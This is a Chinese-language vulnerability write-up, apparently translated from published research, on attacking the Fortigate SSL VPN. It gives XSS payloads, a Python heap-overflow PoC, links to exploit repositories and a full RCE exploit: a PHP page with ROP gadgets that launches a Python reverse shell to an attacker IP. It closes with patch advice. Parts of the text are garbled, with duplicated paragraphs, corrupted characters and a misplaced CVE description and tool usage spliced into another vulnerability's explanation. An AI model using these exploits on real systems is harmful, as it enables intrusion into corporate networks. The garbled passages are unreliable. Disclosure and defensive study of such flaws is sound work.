0x00 前言
该事情发生于去年8月,当时我们开始了一个新的SSL VPN研究项目。与ipsec和pptp等站点到站点VPN相比,ssl vpn更易于使用,并且可与任何网络环境兼容。为了方便起见,ssl vpn成为企业最流行的远程访问方式!但是,如果这个可信的设备是不安全的呢?它是一项公司的重要资产,但却是公司的盲点。根据我们对财富500强的调查,排名前三的SSL VPN供应商占据了大约75%的市场份额。ssl-vpn的多样性很小。因此,一旦我们发现领先的ssl-vpn存在严重漏洞,其影响将是巨大的。没有办法降低损失,因为SSL VPN必须暴露在互联网上。
在我们的研究开始时,我们对领先的SSL VPN供应商的CVE数量进行了一些调查: 看起来Fortinet和Pulse Secure的VPN是最安全的。是真的吗?作为一个打破记录的破坏者,我们接受了这一挑战,并开始攻击Fortinet和Pulse Secure!这个故事是关于黑客攻击Fortigate SSL VPN。
0x01 漏洞影响
FortiOS 5.6.3 to 5.6.7
FortiOS 6.0.0 to 6.0.4
ONLY if the SSL VPN service (web-mode or tunnel-mode) is enabled.
0x02 Fortigate SSL VPN
Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在终端用户和中型企业中很常见。有超过480000台服务器在互联网上运行,在亚洲和欧洲很常见。我们可以通过在url后加上路径/remote/login来识别它。Fortigate的技术特点如下:- 一体化二进制文件:
- Web守护程序
Fortigate上运行了2个Web界面。一个用于管理界面,/bin/httpsd
在端口443上处理。另一个是普通用户界面,/bin/sslvpnd
默认情况下在端口4433上处理。通常,管理页面应限制在互联网上,因此我们只能访问用户界面。
Fortigate上有2个Web界面正在运行。一个用于管理界面,通过端口443上的/bin/httpsd进行处理。另一个是普通用户界面,默认情况下使用端口4433上的/bin/sslvpnd处理。一般来说,管理页面应限制在互联网*问,因此我们只能访问用户界面。
通过我们的调查,我们发现Web服务器是从apache修改而来的,但它是2002年的apache。显然他们在2002年修改了apache并添加了自己的附加功能。我们可以映射apache的源代码来加速我们的分析。
- WebVPN
WebVPN是一个方便的代理功能,它允许我们通过浏览器连接到所有服务。它支持多协议,如http、ftp、rdp。它还可以处理各种Web资源,如WebSocket和Flash。为了正确解析站点访问,它会解析HTML并为我们重写所有的URL。这涉及繁重的字符串操作,很容易导致内存错误
0x03 漏洞介绍
我们发现了以下几个漏洞: 1.CVE-2018-13379:未授权任意文件读取 在获取相应的文件时,它使用以下参数构建json文件路径lang:snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);没有安全保护,而是自动附加了文件扩展名。似乎我们只能读取JSON文件。然而,实际上我们可以滥用snprintf的特性。根据帮助手册,它最多将size-1写入到输出字符串中。因此,我们只需要使它超过缓冲区的大小,并且.json将被剥离。然后我们就可以随心所欲读取任何内容
攻击POC: https://github.com/milo2012/CVE-2018-13379
2.CVE-2018-13380:未授权XSS 有几个XSS:
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29 /message?title=x&msg=%26%23<svg/onload=alert(1)>;3.CVE-2018-13381:未授权堆溢出 在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度。然后它将编码到缓冲区中。例如,在计算阶段,将字符串编码为<is&60,这将占用5个字节。果它遇到任何以&开头的内容,例如&60;,它会认为已经编码了一个令牌,并直接计算它的长度。像这样:
c = token[idx]; if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>') cnt += 5; else if(c == '&' && html[idx+1] == '#') cnt += len(strchr(html[idx], ';')-idx);但是,长度计算和编码过程之间存在不一致。编码部分处理不了那么多
switch (c) { case '<': memcpy(buf[counter], "<", 5); counter += 4; break; case '>': // ... default: buf[counter] = c; break; counter++; }如果我们输入了一个恶意字符串,如&#<<<,则<仍然被编码为<;,所以结果应该是&#<<<;,这比预期的长度6字节长得多,因此会导致堆溢出。
PoC:
import requests data = { 'title': 'x', 'msg': '&#' + '<'*(0x20000) + ';<', } r = requests.post('https://sslvpn:4433/message', data=data)4.CVE-2018-13382:神奇的后门 在登录页面中,我们发现了一个名为magic的特殊参数。一旦参数符号硬编码字符串,我们就可以修改任何用户的密码。
根据我们的调查,目前仍有大量的Fortigate SSL VPN缺少打补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经复制了这个漏洞。毫无疑问,其他攻击者很快就会利用此漏洞!请尽快更新您的Fortigate!
其POC: https://github.com/milo2012/CVE-2018-133825.CVE-2018-13383:授权的堆溢出 这是WebVPN功能上存在的一个漏洞。在HTML中解析JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:Fortinet FortiOS 6.0.0到6.0.4,5.6.0到5.6.8以及SSL VPN Web门户下的未授权漏洞允许未经身份验证的攻击者修改SSL VPN Web门户用户的密码通过特定的HTTP请求。
$ python CVE-2018-13382.py -h Usage: CVE-2018-13382.py [options] Options: -h, --help show this help message and exit -i IP e.g. 127.0.0.1:10443 -u USERNAME -p PASSWORD
memcpy(buffer, js_buf, js_buf_len);缓冲区大小固定为0x2000,但输入字符串不受限制。因此,这是堆溢出。值得注意的是,此漏洞可能会溢出空字节,这对我们的利用非常有用。 要触发此溢出,我们需要将漏洞利用上传到HTTP服务器上,然后ssl vpn将我们的漏洞利用代理为一个普通用户
0x04 漏洞利用
官方咨询最初没有描述RCE风险。实际上,这是一个误解。我们将向您展示如何在没有身份验证的情况下从用户登录界面中进行攻击。1.CVE-2018-13381 我们的第一次尝试是利用未授权堆溢出漏洞。但是,此漏洞存在一个缺陷 - 它不会溢出空字节。一般来说,这不是一个严重的问题。如今的堆利用技术应该克服了这个问题。然而,我们发现在Fortigate上发生了一个严重的问题。有几个障碍,使堆溢出不稳定,难以控制。
- 单线程、单进程、单分配器
Web守护进程使用epoll()处理多个连接,没有多进程或多线程,并且主进程和库使用相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,堆真的很乱。 - 定期触发操作
- Apache附加内存管理。
- Apache额外的内存管理。
- JeMalloc
JeMalloc隔离了元数据和用户数据,因此很难修改元数据并使用堆管理。此外,它集中了小对象,这也限制了我们的利用。
- 获得身份验证
我们首先使用CVE-2018-13379来读取会话文件。会话文件包含了有价值的信息,例如用户名和明文密码,这使我们能够轻松登录。
- 获取shell
登录后,我们可以请求ssl vpn代理恶意HTTP服务器上的漏洞攻击,然后触发堆溢出。
由于上述问题,我们需要一个好的溢出目标。我们无法仔细操作堆,但也许我们可以找到一些经常出现的东西!如果它能被找到,那就太好了,每次触发这个bug,我们都可以轻松地溢出它!然而,从这个庞大的程序中找到这样一个目标是一项艰巨的工作,所以当时我们陷入了困境……我们开始模糊测试服务器,试图得到一些有用的东西
0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax) (gdb)事情发生在
SSL_do_handshake()
int SSL_do_handshake(SSL *s) { // ... s->method->ssl_renegotiate_check(s, 0); if (SSL_in_init(s) || SSL_in_before(s)) { if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) { struct ssl_async_args args; args.s = s; ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern); } else { ret = s->handshake_func(s); } } return ret; }我们重写了struct ssl调用方法中的函数表,因此当程序试图执行
s->method->ssl_renegotiate_check(s, 0);
,时,它就会崩溃
这实际上是我们利用的理想目标!struct SSL
可以轻松触发分配,并且大小接近我们的JaveScript缓冲区,因此它可以在我们的缓冲区附近有一个常规的偏移量!根据代码,我们可以看到ret = s->handshake_func(s);
调用一个函数指针,这是控制程序流的最佳选择。根据这一发现,我们的利用策略就很清楚了
首先,用SSL结构对堆进行大量的正常请求,然后溢出SSL结构。这里我们将php poc放在一个http服务器上:
-
<?php function p64($address) { $low = $address & 0xffffffff; $high = $address >> 32 & 0xffffffff; return pack("II", $low, $high); } $junk = 0x4141414141414141; $nop_func = 0x32FC078; $gadget = p64($junk); $gadget .= p64($nop_func - 0x60); $gadget .= p64($junk); $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64($junk); $gadget .= p64($junk); $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; $gadget .= p64(0x1bed1f6); // pop rax ; ret ; $gadget .= p64(0x58); $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ; $gadget .= p64(0x1366639); // call system ; $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;"; $p = str_repeat('AAAAAAAA', 1024+512-4); // offset $p .= $gadget; $p .= str_repeat('A', 0x1000 - strlen($gadget)); $p .= $gadget; ?> <a href="javascript:void(0);<?=$p;?>">xxx</a>
push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;所以我们设置handshake_func为这个小工具,将rsp移动到我们的ssl结构,并进行进一步的ROP攻击。 (2).ROP链 这里的ROP链很简单。我们稍微向前移动RDI,以便有足够的空间来执行反向shell命令。 (3).溢出字符串 最后,我们连接溢出填充并利用。一旦我们溢出SSL结构,我们就会得到一个shell。 我们的漏洞需要多次尝试,因为我们可能会溢出一些重要的东西,并使程序在sSSL_do_handshake之前崩溃。不管怎样,由于Fortigate可靠的监视程序,该漏洞仍然是稳定的。只需1~2分钟即可获得反向shell.
0x05 漏洞演示
0x06 漏洞防御
升级到FortiOS 5.4.11,5.6.9,6.0.5,6.2.0或以上版本。0x07 参考链接
https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.htmlhttps://fortiguard.com/psirt/FG-IR-18 -384